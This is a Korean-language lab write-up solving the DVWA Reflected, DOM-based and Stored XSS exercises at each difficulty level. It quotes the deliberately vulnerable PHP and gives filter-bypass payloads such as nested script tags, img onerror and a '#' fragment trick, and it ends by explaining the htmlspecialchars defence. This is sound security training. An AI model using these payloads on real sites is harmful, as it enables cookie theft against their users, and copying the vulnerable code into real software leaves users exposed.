Index
Reflected XSS
low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
array_key_exists 함수로 GET 방식으로 넘어오는 파라미터에서 name이라는 문자열이 있는지, 그 값은 NULL이 아닌지 확인한다. script 구문만 넣게되면, 넘어오는 name 값이 NULL로 인식하기 때문에 앞에 더미 값을 넣어주면 될 것 같다.
aa<script>alert(document.cookie)</script>
name에 아무런 dummy 값을 넣어주고, script 구문을 넣어주었다.
XSS 취약점이 발생하지만, security=low라는 document.cookie 값이 출력된다.
medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
앞선 low에서 str_replace 함수로 <script> 문자열을 공백으로 치환한다.
aa<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
<script> 문자열을 <script> 문자열 사이에 넣어 공백으로 치환되었을 때, <script> 문자열이 완성되도록 한다.
high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
medium의 str_replace가 아닌 preg_replace를 사용하여 대소문자를 구별하지 않고 <script 문자열을 필터링한다.
aa<img src=x onerror=alert(document.cookie)>
img 태그를 이용하여 src를 error 값을 넣은 후, onerror에 쿠키 값을 alert 하는 구문을 넣으면 XSS가 발생한다.
impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
앞선 문제들과는 사용하는 함수가 많이 달라졌다. htmlspecialchars 함수로 입력된 값에 특정 특수문자를 HTML 엔티티로 변환한다. 또한 CSRF에 관련하여 뭔가 토큰을 생성하는 코드가 있다. 이 때문인지, 값을 입력하여 서버로 보내면 url 값에 user_token 값이 계속 재생성된다.
aa<script>alert(document.cookie)</script>
XSS script 구문을 넣어보니, 문자 그 자체로 입력되었다.
HTML을 확인하면 '<'
과 ‘>'
가 웹페이지 안에서 기능을 하는 태그 특수문자가 아닌, HTML 엔티티(<
와 >
)로 치환되어 인식된 것을 볼 수 있다.
DOM Based XSS
언어를 선택할 수 있고, 이는 GET 방식으로 서버로 넘어간다. 각 단계별 문제를 풀어보자.
또한, select안의 script 문을 보면, default의 값을 html에 write하는 코드가 있다. URL을 decode 해주기 때문에 무난하게 script 구문이 먹힐 것 같다.
low
<?php
# No protections, anything goes
?>
소스코드에 입력된 것이 없다. url에 default에 scipt 구문을 바로 넣어보자.
http://127.0.0.1/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(document.cookie)%3C/script%3E
medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
stripos 함수를 통해, <script 문자열을 찾고, 해당 문자가 있을 경우 기본 값(default=English)으로 바꿔버린다. 앞서 Reflected XSS에서 사용한 img 태그를 사용하면 될 것 같다.
http://127.0.0.1/vulnerabilities/xss_d/?default=aa%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
img를 이용한 XSS 구문을 입력 했지만, XSS 취약점이 발생하지 않았다. 소스코드를 확인해보자.
option 태그 안에 있어서 value 값으로 인식된 것으로 보인다. option 태그와 select 태그를 닫아주고 script 구문을 넣어보자.
http://127.0.0.1/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
스크립트가 정상적으로 삽입된 것을 확인할 수 있다.
high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
switch ~ case 문으로 해당 값을 제외하고, exit 시킨다. php 코드에서는 #이 주석이기 때문에, 이 값을 통해 서버의 조건문은 우회하고, script 구문을 html에 삽입할 수 있다.
http://127.0.0.1/vulnerabilities/xss_d/?default=English#%3E%3C/option%3E%3C/select%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
#을 하나 붙여주고, option과 select 태그를 닫고, script 구문을 입력했다.
impossible
<?php
# Don't need to do anything, protection handled on the client side
?>
앞선 문제와 다르게 urldecode를 해주지 않아서, 공격이 먹히지 않는다.
stored XSS
name과 message를 입력하면 db에 저장해주고, 아래 db에 등록된 데이터들을 조회해준다.
low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
trim 함수로 공백을 제거하고, 문자열을 인코딩해 db에 insert 시켜주는 코드이다.
입력 칸에 script 구문을 써보자. db에 정상적으로 등록되고, 아래 db에 있는 컬럼을 조회한다. 이때 message 칸에는 script 구문으로 바뀌면서 비어있다.
개발자 도구로 확인해보면, 우리가 입력한 script 구문이 들어가면서, XSS 취약점이 터진다.
db에는 우리가 입력한 script 구문이 잘 들어가 있다. 이를 조회하면서 웹 페이지에 띄울 때 script 구문으로 들어가서 취약점이 발생하는 것이다.
medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
mtxMessage의 값을 htmlspecialchars 함수로 특수문자를 변환한다. 또한 name 값의 <scirpt> 문자열이 있다면, str_replace로 공백으로 치환한다.
Message에는 script 구문을 넣긴 힘들 것 같다. name에 img 태그를 이용한 XSS를 발생시키자.
name 입력 칸에는 클라이언트에서 입력 길이를 제어하고, 서버 쪽에서는 제어하지 않기 때문에, 이 값을 수정해주면 최대 입력 크기를 사용자 마음대로 수정할 수 있다. maxlength 값을 100으로 변경하고, 다음과 같이 데이터를 삽입했다.
정상적으로 db에 넘어가서 입력되었고, select로 조회하여 프론트로 띄워줄 때 XSS가 발생한다.
공격이 쉽게 가능했던 이유는, dvwa에서 설정해놓은 db를 확인해보니, name 필드가 varchar(100)이다. 또한, 서버쪽에서 넘어온 데이터 길이를 체크하지 않았기 때문이다. 클라이언트 쪽이 아닌 서버 쪽에서 처리해야 한다는 것을 느낄 수 있었다.
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
name 값에서 <script 문자열을 공백 치환한다. 이전 문제에서 script 태그을 안썼기 때문에… 동일하게 img 태그를 이용해서 XSS 취약점을 터트릴 수 있었다.
medium 방법과 동일하다.
impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
이전 문제에서 입력해놓았던 값들이다. DB에 그대로 저장되어 있지만, XSS가 발생하지 않았다.
데이터를 조회 시, htmlspecialchars 함수로 특수문자가 HTML 엔티티로 치환되었기 때문에 발생하지 않은 것이다.
한번 더 같은 방식으로 추가해보면, 이번에는 <와 >로 값이 들어가버린다. 이를 보고 서버에 INSERT 할 때 htmlspecialchars 함수를 사용하고, 조회할 때도 htmlspecialchars 함수를 사용하고 있다는 것을 알 수 있었다.
지금까지 여러 XSS를 실습했는데 실습환경 기준으로 htmlspecialchars 함수를 적용하면 거의 모든 XSS를 차단시킬 수 있었다.
Uploaded by N2T